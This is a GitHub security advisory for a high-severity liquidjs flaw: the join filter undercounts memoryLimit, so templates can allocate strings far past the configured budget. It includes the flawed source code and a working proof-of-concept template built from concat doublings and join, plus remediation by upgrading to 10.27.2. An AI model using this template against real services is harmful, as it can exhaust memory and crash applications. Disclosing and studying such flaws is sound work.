GHSA-4r6h-5v86-94p3: High severity npm/liquidjs vulnerability
Summary
The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget — bounded only by V8/process limits, not by memoryLimit.
Details
js // src/filters/array.ts:8-13 export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) { const array = toArray(v) const sep = isNil(arg) ? ' ' : stringify(arg) const complexity = array.length (1 + sep.length) // element COUNT, not element sizes this.context.memoryLimit.use(complexity) return array.join(sep) // allocates sum(element lengths) + separators })
concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.
Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replacefirst (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q) — join wasn't covered. Sibling arraytosentencestring (src/filters/string.ts:210) has the identical defect.
PoC
Live-reproduced against liquidjs@10.27.1, Node v24.3.0.
javascript const { Liquid } = require('liquidjs'); const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense
const E = 5000, DOUBLINGS = 13; const chunk = 'a'.repeat(E); let tpl = {%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}; for (let i = 0; i < DOUBLINGS; i++) tpl += {%- assign a = a | concat: a -%}; // 1 -> 8192 elements tpl += {%- assign out = a | join: "" -%}{{ out | size }};
const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked console.log('output length:', len); // output length: 40960000
Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574 — confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,000 — 1385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.
Impact
Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that join's charge is wrong relative to what it allocates.)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/liquidjsto a version that resolves this vulnerability.Fixed in 10.27.2
Event History
Frequently Asked Questions
What does an attacker need to do to trigger the excessive allocation?
They need to cause template processing that repeatedly uses concat to grow an array and then passes that array to join. Concat cheaply duplicates references while charging only by element count, and join materializes the referenced content into a string.
Does configuring memoryLimit prevent this condition?
No. The join filter charges memoryLimit based on array element count and separator length rather than the total length of the generated string, so the resulting allocation can exceed the configured budget.
What is the practical impact when the limit is bypassed?
A rendered string can grow beyond memoryLimit, with its size bounded by V8 or process limits instead. This can cause an availability impact through excessive memory allocation.